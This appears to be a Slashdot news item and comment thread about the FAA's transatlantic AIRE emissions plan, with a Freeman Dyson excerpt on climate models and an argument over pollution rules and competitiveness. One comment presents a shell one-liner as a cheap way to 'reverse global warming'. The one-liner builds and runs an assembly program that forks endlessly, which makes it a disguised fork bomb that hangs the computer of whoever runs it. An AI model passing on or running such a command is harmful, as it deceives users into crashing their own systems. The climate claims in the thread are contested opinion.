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FAA Plans to Clean Up the Skies
coondoggie writes "On top of its recently announced plan to reduce flight delays, Federal Aviation Administration officials today launched what they hope will be pan U.S. and European Union joint action plan to cut greenhouse gas emissions from aircraft. Specifically the group announced the Atlantic Interoperability Initiative to Reduce Emissions or AIRE — the first large-scale environmental plan aimed at uniting aviation players from both sides of the Atlantic."
Federal Aviation Administration officials today launched what they hope will be pan U.S. and European Union joint action plan to cut greenhouse gas emissions from aircraft. Specifically the group announced the Atlantic Interoperability Initiative to Reduce Emissions or AIRE
Additionally, the FAA announced that their agency would be renamed the 'American Institute for Regulation of Pilot Licensing and Aeronautical Navigation and Engineering' (AIRPLANE) to satisfy new federal requirements for cutesy acronyms.
Stop-Prism.org: Opt Out of Surveillance
Freeman Dyson on Climate Models
The first of my heresies says that all the fluff about global warming is grossly exaggerated. Here I am opposing the holy brotherhood of twilight model experts and the crowd of diluted citizens that believe the numbers predicted by their models. Of course they say I have no degree in meteorology and I am therefore not qualified to speak.
But I have studied their climate models and know what they can do. The models solve the equations of fluid dynamics and do a very good job of describing the fluid motions of the atmosphere and the oceans. They do a very poor job of describing the clouds, the dust, the chemistry and the biology of fields, farms and forests. They do not begin to describe the real world that we live in.
The real world is muddy and messy and full of things that we do not yet understand. It is much easier for a scientist to sit in an air-conditioned building and run computer models than to put on winter clothes and measure what is really happening outside in the swamps and the clouds. That's why the climate model experts end up believing their own models.
There's no doubt that parts of the world are getting warmer, but the warming is not global. The warming happens in places and times where it is cold, in the arctic more than the tropics, in the winter more than the summer, at night more than the daytime.
I'm not saying the warming doesn't cause problems, obviously it does. Obviously we should be trying to understand it. I'm saying that the problems are being grossly exaggerated. They take away money and attention from other problems that are much more urgent and important. Poverty, infectious diseases, public education and public health. Not to mention the preservation of living creatures on land and in the oceans.
He also worked out a way to reverse global warming quite cheaply.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Cutting our planes' emissions will do nothing but place further financial strains on us, leading to a relative inability to compete with other countries less concerned about the illusory monster of global warming.
this is a ridiculous argument that keeps being brought up as a reason to defer or cancel any planned control of pollution.
It's flawed in two ways. One, it presumes that any prevention of pollution benefits us only globally, if at all. That if we reduce our pollution by damaging our economy we do it to ward of the *possible* spectre of global warming, and that other nations that might ignore our work (thereby gaining an economic advantage) will damage the environment just as much as we would have done. This is ignoring the fact that pollution may end up being global, but it starts local. Countries with the strictest controls on pollution have the cleanest air, the cleanest water, the lowest incidences of environmental disasters. The benefits aren't that you *might* reduce global warming (if it exists or not), but that you *will* increase the quality of your citizens lives.
Flaw number two, is that we will be damaged economically by reducing CO2 through legislation. For a start, the US has seen a decrease in CO2 per GDP dollar over the last few decades. Americans are making more money, and doing it cleaner. And it can't be blamed solely on the loss of manufacturing jobs from the US either, as Germany is the worlds largest exporter, and has a much lower pollution level per dollar of goods exported than the US or China.
in the EU, where environmental legislation is toughest, CO2 per GDP is the lowest in the world. The top rankings show that the countries with least CO2 per GDP are also those with highest productivity in the world. Norway and Luxembourg both have higher GDP per hour worked than the US and still manage to have much lower CO2 per GDP unit.
The fact is, that it is ABSOLUTELY possible to have stricter pollution controls in place, and yet to be competitive with countries that do not comply to the same high standards.
This is more government micromanagement that will do nothing but further bring us down.
As a fellow living in one of the most micromanaged, government intrusive counties in the world, and also one of the richest, cleanest and with the highest standard of living in the world, I would like to say that it is clear to me the US could do with some more open government intervention and less supposedly invisible hand market control. If anything has bought the US down in the last decade, it's been corruption and abuse from large corporations not kept in check by government.